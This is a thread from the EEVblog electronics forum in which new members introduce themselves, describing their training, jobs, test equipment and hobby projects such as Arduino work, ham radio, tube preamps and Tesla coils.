Title: Re: New Member, Please introduce yourself
Post by: Fireforge on December 18, 2012, 03:16:02 pm
Hi, my name is David Salter. I recently got a BS in Electrical and Computer Engineering, currently looking for an entry-level engineering job. I'm from the east coast of the U.S.

I've been following Dave's videos for a while and now that I'm out of college I want to set up my own lab and start doing electronics at home.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 18, 2012, 03:32:32 pm
TerraHertz He is the end product of the poor education system....... I doubt it would help even if you hit him with a clue by four all day long.
Title: Re: New Member, Please introduce yourself
Post by: rbid on December 22, 2012, 11:51:41 pm
Hello,

My name is Ricky Marek, also known as Rbid here in the forum.

I'm an Embedded Software engineer that is returning to electronics almost after few decades.. therefore be kind with my questions.

I was born in Tarija, Bolivia and now I reside in the Galilee.

Happy Holidays to all and a prosperous EEVBlog year.

--- Ricky Marek
Title: Re: New Member, Please introduce yourself
Post by: TMM on December 23, 2012, 01:49:02 am
Hey guys/gals,

I'm Tim from Melbourne, Software Development graduate and ECSE student :-+

Mostly interested in Atmel AVR and audio related projects :)
Title: Re: New Member, Please introduce yourself
Post by: chris_wang87 on December 23, 2012, 12:59:12 pm
Hello, everyone. My name is Chris from University of Southampton in UK. My project is on graphene production, but I am interested in electronics stuff, especially on mobile phones.  :D Actually, I know nothing about electronics. :palm: I want to learn from the basic part and try to make a mobile phone or at least something that would make a phone call later on.  ;D  |O
Title: Re: New Member, Please introduce yourself
Post by: MasterBuilder on December 24, 2012, 09:51:21 am
Hi, My name is Mike. Im an electrical engineer working in machine building in Cork, Ireland.
Title: Re: New Member, Please introduce yourself
Post by: RoboKaren on December 24, 2012, 05:36:47 pm
Hi -

I'm Karen from New Haven CT. My day job is teaching a non-EE subject, but by night I take things apart, put them back together again in new configurations, and have them occasionally blow up on me. :-) 

Nice to meet y'all.  :scared:

Karen
Title: Re: New Member, Please introduce yourself
Post by: RogerS on December 25, 2012, 08:39:51 am
Hello,
My name is Roger, I am a BSEET with experience in Repair of Shipboard Radar and communications systems, Aerospace design development and ASIC manufacturing Automated electronic test engineering. I'm new here. I just recently discovered the EEV blog and have fun watching Dave and his zealous unscripted presentation style.
84/2 = 42, the answer to life the universe and everything...Douglas Adams "The Hitchhiker's Guide"
Title: Re: New Member, Please introduce yourself
Post by: RamboJj on December 25, 2012, 04:34:07 pm
I've been visiting site for a while now and finally decided to register... I've also been watching the EEVBlog videos that Dave has been doing for some time now.

I'm an EE student right now about to get into the main parts of the degree path here shortly and in the mean time I've doing lots of crazy reading trying to get some better knowledge as to what's going in what I am going to be getting into.

I tend to make a lot of LED related items for both my motorcycles and friends bikes as well and I like to make my own PWMs for them as well as make flasher units to strobe the brakes on activation as well. but ultimately I will be getting into the biomed engineering with my masters and a BS in EE. So yeah, a little bit of an odd area that not many are doing but it's what I like.
Title: Re: New Member, Please introduce yourself
Post by: Tony. on December 25, 2012, 08:17:40 pm
Hi from California!

Dave I've always been a fan of the Video blogs. Best channel on YouTube.
I'm and EE major at SDSU. First semester of Circuit Analysis and Logic Design went very well.
I'm 23 and have been tinkering for years with everything from Tesla Coils to high powered lasers to Arduino stuff. 

This forum seems to be one of the more active EE Enthusiasts boards I've seen. So I gotta join in on the fun.

-Tony
Title: Re: New Member, Please introduce yourself
Post by: einsvanian on December 27, 2012, 09:41:26 am
Hi, my name is Paul, just dabbling in electrical and electronic applications for the hell of it. I have avionics training and have experience in working with electrical circuits while installing above and underground water tanks to include the pressurized plumbing and circuitry for residential homes. I currently work with solar panel systems and radio communication systems in remote locations at my current job.
Title: Re: New Member, Please introduce yourself
Post by: ashwobla on December 27, 2012, 06:38:11 pm
I'm ashwobla from Beverley, East Yorks, England. I was raised by a Meccano-mad dad with a thirst for electro-mechanical stuff, and I qualified in electronics at Hull college in 1981. I took up computer programming after college (my first job was at British Aerospace at the dawn of PCs) but always loved tinkering. I have since worked at Comet UK, Mars Electronics, and in various corporate contract positions. I am now 50 and want to blow the cobwebs off my old Weller (which Dave says is a load if wank, so I shall bin it and buy anew).

PS my latest encounter with electronics was on contract at an Oxfordshire company which designed and built road traffic monitoring hardware, where I was the sole programmer on a handheld Compaq iPaq based data collection front-end, and also developed some ANPR apps.

PPS my greatest claim to Internet fame is my shareware app Snapper, which took and visually compared snapshots of drives/directories. Version 3 was adopted by AT&T, Bosch, Mars, J&J, Wendy's, etc, made quite a few quid for me, but is no longer available except to say there are a few clones out there still!!
Title: Re: New Member, Please introduce yourself
Post by: Wrongway on December 28, 2012, 05:40:04 am
Hi,  I am Rob and like in the North West UK.  I stumbled upon this forum/community whilst Googling for some soldering iron recommendations.  I will be posting a query there next.  I have been involved in electronics since the 1970's when I was apprenticed as an electronics engineer and stayed in similar professions all my working life.  It marries well with other interests like radio control modelling etc.  Presently having fun playing around with Arduino projects and RaspberryPi.
Title: Re: New Member, Please introduce yourself
Post by: svofski on December 28, 2012, 08:56:52 am
I'm an electronics hobbyist from St.Petersburg, Russia. My projects tend to be impractical and I like slightly offbeat stuff like nixie displays, CRT tubes, old displays, old computers and so on. Usually my projects would have some kind of AVR inside, sometimes an Altera FPGA, but lately I tried LPC21xx, PIC32 and now I'm building a project with an LPC1769 and I'm liking it. I usually make my PCBs myself. I speak Russian, English and Spanish.
Title: Re: New Member, Please introduce yourself
Post by: salluhassan on December 29, 2012, 03:46:28 am
i am arslan , sallu as my nickname , student of computer science at National University of Computer and Emerging Sciences, but how to mention far-away west asian country of mine . Well i am from Pakistan . Just saw your energetic explaination of fake apple usb charger at Youtube when you were very much offended by creepy distance between circuit conducting lines. From that moment of time and till now i have been continuosly watching and downloading eevblog videos in to my notebook.
Title: Re: New Member, Please introduce yourself
Post by: Russell on December 29, 2012, 07:56:21 am
HI, My Name is Russell and I am from south africa, I specialize in Mercedes Benz electrical/Electronics repairs.
I am a great Fan of Dave's show.

and here to learn and share.

Regards
Russell
Title: Re: New Member, Please introduce yourself
Post by: ilium007 on December 29, 2012, 11:54:46 am
Hi - my name is Brant and I am from Brisbane, Australia. I have started an electrinics engineering degree but life committments got in the way. I am an avid electroncis hobbyist and have a passion for learning.
Title: Re: New Member, Please introduce yourself
Post by: edm68 on December 29, 2012, 06:33:35 pm
Hello, my name is Ed and I've been interested in electronics for about 10 years. On and off depending on my work schedule. I've been reading the forum for about a year or so. Very informative. I'm just a hobbyist so I doubt that I will add much but I will try.
Title: Re: New Member, Please introduce yourself
Post by: Mike_H on December 30, 2012, 06:01:27 am
Hi All,
My name is Mike and I am from Paris, Ontario Canada. I'm a fat old guy! My original training was as an electronic tech 35 years ago. I now work with PLC s.
I have decided to get back into electronics as a hobby, and have been watching Dave's videos for a while to help be outfit my bench.

I'm more of a lurker than a poster, but will ask many questions!

Mike
Title: Re: New Member, Please introduce yourself
Post by: (In)Sanity on December 30, 2012, 05:27:22 pm
The name is Jeff,  I've been working with electronics for about 25 years now as a hobby.  My main field is software engineering/ programming.   I have a couple scopes,  many multimeter's including a 3457a,  Fluke 8050,  Few B&K's ,  B&K 879B after Dave's review.   Hot air rework station,  etc etc.   Typical electronics lab setup.   My main focus is on RF and micro controllers not necessarily together,  PIC's being my choice of flavors.   I'm big on power supply designs as well,  switch mode and linear.   I rarely use anything I design it's mainly about learning for me.   I did design and use a PIC based 5 input slope compensated solar hot water controller for several years until the whole system was replaced.   LCD readout and such with proper safety control and watchdogs.  Was based on a PIC 1320.   I've done 1000V supplies to M&M counters.   

Just kind of a quick blurb.

Jeff
Title: Re: New Member, Please introduce yourself
Post by: Stonent on January 01, 2013, 04:41:39 am
I'm Jason aka JasonthePCMD on youtube.  I have a small channel here:
http://www.youtube.com/user/JasonthePCMD (http://www.youtube.com/user/JasonthePCMD)
http://jasonthepcmd.blogspot.com (http://jasonthepcmd.blogspot.com)

I got inspired to do my channel from EricTheCarGuy and RealFixesRealFast (car repair) but mine focuses on computer repair.

If you're interested, have a look and a subscribe.  I don't have a real video camera so all my videos are shot from the various Android phones I've had, but my current phone does 1080p@30fps so quality is getting better.

I used to do more videos because my desk was in the basement of the company I worked for and I frequently worked late.  My new employer does not allow the usage of any recording devices in their facility except for explicit company business. So I have less that I can film now. I do occasionally do short videos of car repairs that I've done (mostly troubleshooting an OBDII code and how I fixed it)

Anyway I did post an intro on a separate thread not catching this one.

Right now I work in IT at a vehicle assembly plant supporting plant operations and such. Previously I worked in IT in various support roles at a Pharmaceutical company, originally supporting their corporate division, but then went to sales support, and later Research and Development support.

Probably one of the coolest jobs I had was working as a contractor for the American division of the Canadian division of an Australian company called Adacel Systems which built Air Traffic Control training systems. I was a test and assembly technician and got to go to a few military bases to install these systems.

That was a fun job.

Electronics wise, I grew up on the Radio Shack (elenco) 50 in 1, 60 in 1, and 200 in 1 kits, but got my first computer later and ended up focusing on that side.
Title: Re: New Member, Please introduce yourself
Post by: nzCdog on January 01, 2013, 08:56:07 am
Hi.. I'm Corey from CHCH NZ
Hobbyist turned technician... well hoping to get my first job this year after a years study at a technical institute.  I love learning :D
Title: Re: New Member, Please introduce yourself
Post by: kurnia putra on January 03, 2013, 10:00:01 pm
Hi Everyone, My name is Kurnia Putra from Indonesia, I am an Amateur Radio with the call sign YCOKPN.
For time being I live with my family in Jakarta the capital city of Indonesia.
I am working in an Advertising Agency and one of my hobby is making experiment  good Antennas especially in VHF.

I have several antenna Analyzers such as RIG EXPERT AA-230 PRO, MFJ 259B, AIM 4170C,  VNA 2180.

I am not a technician but I always learn how to improve my knowledge in Technique Radio. :phew:

Thank you and '73




Title: Re: New Member, Please introduce yourself
Post by: djlorenz on January 04, 2013, 05:59:14 am
Hi everybody!

I'm Lorenzo from ITALY,
im 24yo and i'm studying electronic engineering + i work for siemens in the fieldbus world + i work in club for light j + i have a little service of lasershow and lighting

i really liked your videos and i registered to this forum, hope to find good stuff here...

time is really low, but i like to experiment, and maybe in the future make some good project...

cheers!
Lorenzo
Title: Re: New Member, Please introduce yourself
Post by: ChrisGreece52 on January 04, 2013, 10:02:31 am
Hey I am Chris i live in Greece and i am a High School student.Greek is my native language so sorry for any trouble that occurs due to lack of inteception.I am involved in basic electronics(i love soldering , experimenting on breadboards ICs (especialy 555 timer chip i love that chip) , building circuits and stuff). My ideal studies would be on electronics engineering because i love creating project or experimenting with ones i find online.
THANNK AND I HOPE I AM WELCOME !!!
Title: Re: New Member, Please introduce yourself
Post by: Sam-Z on January 04, 2013, 01:32:02 pm
Hi, everybody, i am Sam. i am a student from China. My hobby is about electronic &computer.  I want to be an electrical engineer. :)
Title: Re: New Member, Please introduce yourself
Post by: toby on January 05, 2013, 10:26:04 am
Good evening, good morning, or what ever time your are reading this! My name is Tobias, I'm 24 years old and I live in Germany. For the past 4 years I've studied electrical communication engineering and i'm currently writing my master thesis (working on a carrier recovery system for a satellite communication link in the E-band).
Title: Re: New Member, Please introduce yourself
Post by: Simeon on January 06, 2013, 07:13:14 am
Hi.
My name is Simeon Vasilev Petkov.I am form Bulgaria, 15 years old.
I do electronics since 4 y/o.At 7 i did my first amp with LM1875 and it still works.
Excuse me, but my english is quite bad.
 
Title: Re: New Member, Please introduce yourself
Post by: StuUK on January 08, 2013, 09:09:53 am
Hi

I'm Stuart from the UK and have recently taken up Electronics again as a Hobby after being seduced into Computer programming back in the late 70's. After many years in software I've rediscovered my interest in the electronics side of things. Wow, how things have changed....... Currently messing about with Arduino and Raspberry but keen to roll my own from scratch....
Title: Re: New Member, Please introduce yourself
Post by: misisoso on January 09, 2013, 05:25:53 pm
Hello, I am from Slovakia, I study at Slovak University of Technology, Faculty of Electrical Engineering and Information Technology, Robotics. I liked electronics all my life, but only about half year ago, after sight of EEVblog, I started to pay more attention to electronics, I bought my first oscilloscope (Rigol DS1102E) on Daves recommendation and also bought my first real meter, Fluke 187, also on Daves recommendation. I could afford those, because I started to work at company, which does Process automation. The project I am just working on, is my Diploma thesis. After it is finished, it will be Developement kit for XBee with HMI. HMI will consist of 4*20 character LCD module, PIC micro (18f2320). encoder and few diodes. This whole solution should be used in learning process, to accustom student with XBee technology and to prevent them from connections and blowing up the XBee, or their circuits.
Title: Re: New Member, Please introduce yourself
Post by: Mad Professor on January 11, 2013, 02:23:47 am
Hi All.
 
My name is Mark, aka "Mad Professor", I am 30, and from the "Isle Of Wight (http://en.wikipedia.org/wiki/Isle_of_Wight)", a small 20x25mile island here in the UK.

I have basic electronics knowhow, and wanting to learn more.

Best Regards.
Title: Re: New Member, Please introduce yourself
Post by: darkwire on January 11, 2013, 04:03:37 am
Hi my name is Metui. I'm an Computer Technician, recently found out that addicted to electronics some years ago. Found this site useful and i hope learn and help alot from here.
Title: Re: New Member, Please introduce yourself
Post by: Agenthector on January 11, 2013, 06:09:11 am
I'm Hector. I'm currently in my 4th year studying electrical engineering at the University of Texas at San Antonio. I have an interest in robotics and controller design and have been playing with electronics for almost a decade.
Title: Re: New Member, Please introduce yourself
Post by: UberVento on January 12, 2013, 02:50:49 am
Hi yall, and that is an appropriate hello from the state of Kentucky here in the U.S. My name is James, I am a hobbyist and want to learn more about electronics. So here I am.
Title: Re: New Member, Please introduce yourself
Post by: tbbw on January 13, 2013, 05:38:08 pm
Welo guys :)
I'm one of those tinkerers that like taking stuff apart ever since i was a kid, do build my own stuff from time to time but i find that special satisfaction if it's majority of scavanged parts :)
Other then that i'm abit of a shopaholic when it comes to tools and handy stuff... lol
Atmel and Arm are my favorites since i enjoy both windows and linux.
Own a few boards i reflashed or modifyed so they run linux and i see what more i can make them do after i got to that part... yeah a tinkerer and fiddler is what i like to think of myself as :)
Title: Re: New Member, Please introduce yourself
Post by: SLJ on January 14, 2013, 12:58:20 am
Welcome everyone (although I'm rather new here myself). 

It would help if those of you that have not done so, update your profile to include your country.  This will help with others replying to your posts as many of the discussions here especially relating to equipment and parts availability, and costs are sometimes dependent on location.
Title: Re: New Member, Please introduce yourself
Post by: HinesNetwork on January 14, 2013, 01:43:10 pm
Hi all,

I have my own company doing technical support for windows and OS X, and a little unix. Most of my electronics knowledge is from being a car audio (I was certified back in the day) and custom home theater installer. Almost all of my electronics are hobby at this point.
Title: Re: New Member, Please introduce yourself
Post by: martin on January 14, 2013, 08:20:20 pm
Hello,
I am an electrician, who later studied art, born in Switzerland and living in Finland. Here I work as a lecturer at the local University of Applied Sciences and as an Artist.
In most of my art-projects, I am making use of my growing electronic skills: http://www.mar.li (http://www.mar.li)
I am also a freelance-workshop-host and teach the creative use of code and electronics in artistic projects on different continents.
In my spare-time, I enjoy to build synthesizers and other noisy or noise altering devices.
Title: Re: New Member, Please introduce yourself
Post by: sherlock on January 16, 2013, 02:22:16 am
New guy on the block....  I'm a Product Engineer at a company in New Jersey USA that designs and manufactures Shoplifting Prevention Equipment.  Yes, I know how to defeat those systems, no, I don't do it, and no, I won't tell you how either.   :--   I'm a semi-active Ham Radio Operator in my spare time.  And I drive a BMW.   :-+

sherlock
Title: Re: New Member, Please introduce yourself
Post by: andrea87 on January 16, 2013, 07:50:41 am
Hello :)

I'm Andrea, 25, from Italy. I am an electronics technician, born mostly as an hobbyst. My passion started growing increasingly when I was about 10, and well, here we are.
Actually i do work weekends at big electronics store, yet to find something deeper related to electronics.

I discovered eevblog from youtube, and got out quite some useful info. I might send Dave a postcard next time I go hiking up in the mountains :)

I've built perhaps anything. From power supplies, to audio amplifiers (headphones also), to instrumentation (last project was a frequency counter).
Also some crazy stuff. Had 2 tesla coils (vacuum tube powered), dismantled later due to their size and potential hazard with their voltages; couple of other high voltage projects and so.

Another deep hobby I have is Photography. I use some nikon equipement (D90 + 18-105 + 35mm 1.8 + 50mm 1.8), I'm a lot into macros, sometimes with lots of diy to archieve good results. I like to photograph nature, often on sundays I'm out hiking with some friends, always with my dslr in my backpack.
Title: Re: New Member, Please introduce yourself
Post by: cjc on January 17, 2013, 09:58:01 am
Hi All,

I'm CJ.  I'm 47 and don't know much about electronics or electrical wiring.  Did great in advanced physics courses (way back when) and even worked for Agilent as a software engineer, but somehow never really learned anything practical...in the field of electronics.  Anyway, my husband and I moved to an old farm house and I'm learning/wanting to learn a whole host of practical things.  Like yesterday I learned how to operate a tractor.  So why am I here?  Well, I set out to diagnose and fix our well pump system which lead me to realize I need a multimeter and Dave's fantastic review of the Fluke 117.  Mostly I need to learn how to be a DIY handyperson around this place.  We will be doing a remodel next year and hopefully doing as much of everything as possible ourselves.  Can anyone help me chose between the Fluke 117 and 177?  No plans at this time to build robots or design circuit boards, but I can see learning how check/install fixtures, repair lights, install thermostats, work on greenhouse heat mats, fans and lights etc.  I can see wanting to know if there is wiring in a wall before tearing into it, or check electrical if some piece of equipment won't start.  Okay, hopefully you all know better than I do what I might need.  I did want a Fluke because I don't want to have to wonder if something isn't working whether it's me or my meter.  Any and all advice appreciated. CJ
Title: Re: New Member, Please introduce yourself
Post by: funk1980 on January 17, 2013, 09:24:07 pm
Hello everybody,
My name is Thijs de Bont, 32 years old, from Holland. Electronics in general have been a hobby off and on for many years now. About three years back It's been getting more serious with the development of my personal bass tube preamp. Old scool technology with unbeatable tone, combined with moderm functionalities. I came across the Eevblog when searching for a new multimeter. Dave's review videos of DMM's in different price catagories helped me A LOT. Then I discovered there was a huge electronics scene behind this aussie blogger :). I've been a passive guest for some time now. Time to become more involved!
Title: Re: New Member, Please introduce yourself
Post by: W6dej on January 18, 2013, 10:21:26 am
Greetings,
I am a retired PBX Tech/Manager living in the Central Valley of California. I have been enjoying Dave's videos for a couple of weeks now, after getting the bug to learn more about electronics. I have been a ham for 36 years and even passed the Extra Class exam, but I have never done much building of circuits or working with design and prototyping. I know a lot of theory, but now I really want to put it to practice. I have equipped a desktop in my hamshack/office which I intend to dedicate to electronics projects. I bought a new soldering station (Hakko like Dave has  :)) and a bunch of parts including a grab bag of capacitors (that was a waste of money). I did have enough sense to get an assortment of resistors that are in labeled bags. I also purchased a couple of breadboards, an Arduino Uno board, some jumpers, LEDs, and heatshrink tubing. I already had all the tools I need and a good Fluke 179 meter so I'm ready to go.

I have been playing around with a 555 timer chip, trying to get an LED to flash. I can get it to turn on, but not flash.  I don't know if my schematic is wrong or my eyes are not as good as they used to be, but I welcome the challenge at this early stage of a new hobby and look forward to making it go.

Under the "Impossible But True" category, I repaired my cherished Klipsch earbuds that sadly lost the right channel a while back. Wiggling the wire at the plug verified that something was loose or shorted. With the new soldering iron and a good magnifying glass I was successful in making the repair. Some quick research uncovered a site that described how to remove the enamel coating from the tiny strands. I used a butane torch to carefully burn everything but the wire away. After that it was pretty easy. Here's a photo to prove I did it!



Forums are my favorite form of communication. I have created and run several over the years for various interest groups. So I am looking forward to scoping out all of the interesting posts and helpful comments.

Don
W6DEJ
Title: Re: New Member, Please introduce yourself
Post by: Wuerstchenhund on January 18, 2013, 05:26:36 pm
Hello there!

Another new member. After reading for a while I thought it was about time to register. I'm an Aerospace/Electronics Engineer, mostly working with RF (RADAR stuff), and a pilot. Privately I started building my own lab again, and I'm now beginning to become a bit more familiar with the regular electronics stuff out there.

Thanks for reading, and I'm looking forward to lots of interesting discussions!
Title: Re: New Member, Please introduce yourself
Post by: gregor on January 21, 2013, 12:35:04 am
Hi and hello :) I'm from central of Europe ;) My hobby and profession is control engineering/automation, electronics and everything what is named programming.
Title: Re: New Member, Please introduce yourself
Post by: HarryWeston on January 21, 2013, 04:30:47 am
Hello. I am Harry Weston from England 82 years old, fit and well, using this brilliant hobby to delay the inevitable as long as possible. I am a radio amateur, call signs M1ETU and M0SOP and like to build my own gear. I've followed the eevblogs from the start, and bought my Rigol 'scope as a result. Very best wishes to all on the forum, and 73 in hamspeak. (why no smiley with a beard? :-)#
Title: Re: New Member, Please introduce yourself
Post by: d-sier on January 21, 2013, 09:07:55 am
Hi, I'm Björn from Sweden. Computer systems consultant and used to work as a programmer (web and robotics).
I have always been tinkering around with electronics, but now I felt it was time to become more active.

I'm useless on analog but not quite as bad on digital.

My cat Tesla says hi :)
Title: Re: New Member, Please introduce yourself
Post by: ivaylo on January 22, 2013, 09:12:24 am
Hi all, originally from Eastern Europe, live in the States now. Used to do electronics as a teenager back in the 80s. End up doing software for the web and what not for the past 20 years. Trying to reconnect with my analog twin now and really appreciate your'all knowledge and humor...
Title: Re: New Member, Please introduce yourself
Post by: timonthegreat on January 23, 2013, 12:29:05 pm
Hi, my names Timon ( pronounced  " tee-mon" )  and I'm not electronics engineer (still in high school) I have been signed up for a couple of weeks now, just haven't introduce myself yet. Currently I haven't exactly got a lab (just my bedroom) (at the moment) um... I do know how to solder, I have also been doing some arduino stuff lately (not much)
( insert other stuff )



-Timon
Title: Re: New Member, Please introduce yourself
Post by: ehayashi300 on January 24, 2013, 01:41:39 am
Hello Everyone

I am Edward from Newport, VA near Jefferson National Forest. I have been tinkering with the Raspberry Pi and recently purchased an arduino development kit.  I hope I will be able to write about some of my fun project here and maybe get advice.

Edward
Title: Re: New Member, Please introduce yourself
Post by: PICmonster on January 25, 2013, 05:53:16 am
Hi I'm Jim I regard myself as an enthusiastic professional Chartered engineer with a true passion and interest for engineering subjects, from an early age I have had a self-drive and passion for engineering subjects especially electronics, I began my engineering journey by learning to read circuit diagrams and assembling electronic circuits from the age of 9; I thrive on technical stuff and have always had an interest in technical subjects. Throughout my career I have gained knowledge and experience at every level of the electronics industry, starting as an electrical maintenance apprentice in 1979 and advancing to Research & Development later in my career.
Title: Re: New Member, Please introduce yourself
Post by: 0xFFFF on January 25, 2013, 08:06:41 pm
Hey All,

I'm an enthusiast. In my spare time I develop hardware and software. My strong point is NFC / RFID.

Regards,

Kev
Title: Re: New Member, Please introduce yourself
Post by: WV1800es on January 26, 2013, 05:47:16 am
Hello World-
This is Bruce, I've been inventing, tinkering, repairing, designing and documenting for as long as I can remember.  Personally, I think this digital thing is all a scheme that's bound to fall apart, and we'll all find ourselves back in analog bliss...:-)  I've worked in telecommunications, TV ratings, educational equipment and textbooks, digital subcarrier radio, and A/V system installation and design.  Not to mention baking and dairy farming.  Got a few nice old radios, including a floor model Philco that has FM.  Also rebuilding a '72 Volvo 1800es for it's 40th birthday.  Right now I'm drilling for free electrons, hoping to find a good source-
Title: Re: New Member, Please introduce yourself
Post by: eyebrow on January 27, 2013, 04:53:30 pm
Hi, I'm Dwayne and I run a makerspace in Perth http://westcoastmakers.com (http://westcoastmakers.com) I work for Rio Tinto and in my days off I look after the OpenLab Hobby Engineering web store.

I play with 3D printing a bit, just recently purchased a printrbot+ and have achieved good results with this.
Also been playing with the xbox kinect and reconstructme software to create 3D images of peoples mugs....then print them out.

Look forward to getting involved in the forum.
Cheers
Title: Re: New Member, Please introduce yourself
Post by: 64bitDOS on January 31, 2013, 11:57:19 pm
Hi, My name is Steven.

I'm retired. Current project: High stability, constant current diode LASER power supply and TEC controller for use in holography.
Future project: Tesla coil powered with 3 x 8kV @50mA NST in parallel.
 
I found this site while looking for a digital storage scope and spotted the EEVblog review of the DS1052E on youtube.

Test gear:
DS1052E :-), Tektronix 2205 (owned since new), Macaroni TF2341 200MhZ frequency counter inc high stab ref (fleabay), Fluke 25 DMM (fleabay), Farnell LT30-2 PSU, Wavetek 182A function gen (fleabay).
Waiting for my latest fleabay purchase to arrive: Fluke 8840A. :-)
Title: Re: New Member, Please introduce yourself
Post by: KrisBlueNZ on February 03, 2013, 08:11:59 pm
Hi all,

I'm Kris in Wellington, New Zealand.

I've been a design engineer and programmer for embedded systems for 20 years, dealing mainly with industrial I/O for monitoring and control, power/battery, and data communication. I've worked with 6303, 8051, AVR, x86 and MSP430 architectures, and a few others.

I contribute on electronicspoint as KrisBlueNZ (http://www.electronicspoint.com/members/krisbluenz.html (http://www.electronicspoint.com/members/krisbluenz.html)). For more see https://plus.google.com/101133174323664090405/about (https://plus.google.com/101133174323664090405/about).
Title: Re: New Member, Please introduce yourself
Post by: rgbit on February 04, 2013, 06:44:20 am
Hello

I'm Ruben, from Spain.  35 years soldering all kinds of electronics  >:D . I was reading some EEVBlog articles on past months, and finally I'm registered.

Good night to everybody from Spain.
Title: Re: New Member, Please introduce yourself
Post by: daqq on February 05, 2013, 01:11:35 am
Hi guys,

So, I'm David from Slovakia. I've been watching the EEVBlog for some time and I've finally registered onto the forum. I'm a hardware developer and enjoy electronics as a hobby as well.

So... Hello from Slovakia!  :P

David
Title: Re: New Member, Please introduce yourself
Post by: mswhin63 on February 05, 2013, 01:44:02 am
Hi All,

My name is Malcolm Whinfield from Western Australia. I am a qualified Radio Technician for 30 years. I have a business in electronics but am winding things down a bit and have gone back to Uni now in my 2nd year Double Degree Physics and Electronic Engineering (Communications.

I am now getting back into the thrill on design work compared to the majority of my life debugging. I hope to use this skill to help my way through Uni.

I am enjoying the Blogs now and find them refreshing to listen to. I miss the true blue Aussie accent, fortunately I have not lost it as yet.

Other than my electronics background I also enjoy Astronomy and maybe incorporate both in my future. I have already carried out a small amount of work at the Murchison Widefield Array and enjoyed 2 weeks of a good hard slog. I am also a qualified AUSLAN (Australian Sign Language) interpreter but no longer work in the industry and enjoy woodworking and building things. At the time of writing I have in process a CNC machine, building bicycles for the family and many more.
Title: Re: New Member, Please introduce yourself
Post by: davyk on February 05, 2013, 09:50:06 am
Hi guys,
I'm vYk and I was looking for a solution about a function generator I own. I found the answer in this forum:
the user Mechatrommer made a wonderfull work adding function to the software's device and another user (torch) gave me the link to download it.
Many thanks guys

Regards,
vYk
Title: Re: New Member, Please introduce yourself
Post by: terryk87 on February 07, 2013, 03:56:37 am
Hello all,

I'm Terry Karlson, doing some electronics design and firmware consulting, based in Ontario, Canada.  This seems like a great place to exchange ideas and experience!  Looking forward to it.

-TK
Title: Re: New Member, Please introduce yourself
Post by: pb57 on February 08, 2013, 03:34:14 am
Hi all,

My name is Petter, I recently discovered the EEblog and forum while searching for a new oscilloscop on the net.
And is now the happy owner of a Rigol DS1052E scope. Thanks to Dave's product reviews.
Not yet updated the firmware (ver.00.02.06) to DS1102E. :-BROKE

I've had electronics as a hobby for 30 years and has worked with the production and test of electronic equiment
for 20 years. Most of the hobby electronics I'm doing is related to model railroad, analog and digital controllers etc.

If you look at the link in my profile to the modelrailroad club where I'm a member, you can see some of the things I'm working on these days.

Have found a lot of answers and ideas on this forum to help develop my hobby. Thanks.

Regards
Petter

Title: Re: New Member, Please introduce yourself
Post by: tcdrennen on February 08, 2013, 05:39:23 am
Hey people, nice forum.

I'm a test engineer for an EMS in the USA with operations in California and in China. We do a lot of failure analysis and debug for our customers so I get to work with a lot of different systems and circuits - DC through 2.4GHz, digital, analog, mixed signal.

I found the forum searching for info on the MasTech RCL meter but will be exploring the rest of the forum as time permits.
Title: Re: New Member, Please introduce yourself
Post by: nathancrum on February 09, 2013, 07:24:37 am
Hello everyone,

My name is Nathan - I'm a mechanical engineer with about 10 years of experience in materials handling and vacuum thin film coating technologies (sputter magnetrons, ion sources, plasma beams, etc.).

I'm not actually sure how I got turned onto the EEVblog, but I've been watching the videos for awhile and especially like the power supply set - I finally came to the forum to see what happened (if anything) after the 12th installation..

My day job is mechanical, but I have quite a few electronics hobbies.  I'm pretty good with C & C++ and have been playing more and more with microcontrollers the last few years.  I am currently designing a 3D printer with a partner that's an EE and am enjoy learning in general about anything electrical.  I also like astrophotography, regular photography and time lapse photography.
Title: Re: New Member, Please introduce yourself
Post by: Huluvu on February 11, 2013, 03:02:37 am
Hi All,

My name is Arne, and while discovering the web regarding some Multimeter reviews/teardowns I found the EEVblog on YouTube  :-+
I'm an 41 Years old and Electronic Technician in an International Company.
Our R&D Location in Germany is developing OEM power supplies for Industrial and Medical Applications.

Since 5 Years i'm working for the Quality Department.
Title: Re: New Member, Please introduce yourself
Post by: Goiano on February 11, 2013, 07:47:41 am
Hello I'm from Brazil. I am currently studying electronics. I have a service here in Brazil repair TV, phone and notebook.
I really enjoyed the subject matter covered in the videos of our master administrator, and here in my country we lay technology.
Currently studying English for contacting people with an interest in electronics and programming. to be able to talk and exchange information and learn about the customs of other countries.
Best regards,

Cristian - Goiás - Brazil
Title: Re: New Member, Please introduce yourself
Post by: shaddai on February 11, 2013, 01:19:58 pm
I'm todd, and I'm an audio geek. I've always had an underlying interest in electronics, have dabbled in analog electronics repair and now am tinkering with microcontrollers. So, here I am  ^-^
Title: Re: New Member, Please introduce yourself
Post by: Analogtech on February 13, 2013, 08:59:39 am
Hello, I'm raul im 14 yrs old and i am currently studying in the 9th grade i like building analog circuits mostly HV powersupplys and SMPSs hopefully i can recive help on my projects and help people on theirs
Title: Re: New Member, Please introduce yourself
Post by: Psychaotix on February 13, 2013, 09:51:56 am
Hello to everyone here.

I'm Gary, a 25 year old from South Australia. Electronics is more my hobby than a profession, one that I'm looking to get back into after being out of it for a while. Already, I've had some help with getting a suitable printer for Toner transfer masking. Hopefully I'll see you around!
Title: Re: New Member, Please introduce yourself
Post by: Orpheus on February 14, 2013, 03:41:10 pm
I've been lurking for years. I can't believe I never registered. I always assumed I had, but my password registry has no record of it

I'm a molecular biologist and physician by training, but I always intended to be a biomedical inventor on the side. I was a builder, hobbyist and amateur scientist of all types growing up, and had intended to do biomedical engineering as an undergrad. Alas I APed out of basic calc/bio/chem/phys, so my first semester was all hard-core engineering  -- and as those of you who did E school know, that can be dry/dreary with none of the joy I knew from my hobbies -- especially circuit theory! I wouldn't have believed you could suck the fun out of that with an amorous vampire! The upper classmen assured me that it would be more of the same with maybe ONE optional practical course, especially in bio-med, because it had more required courses than any other major in the university

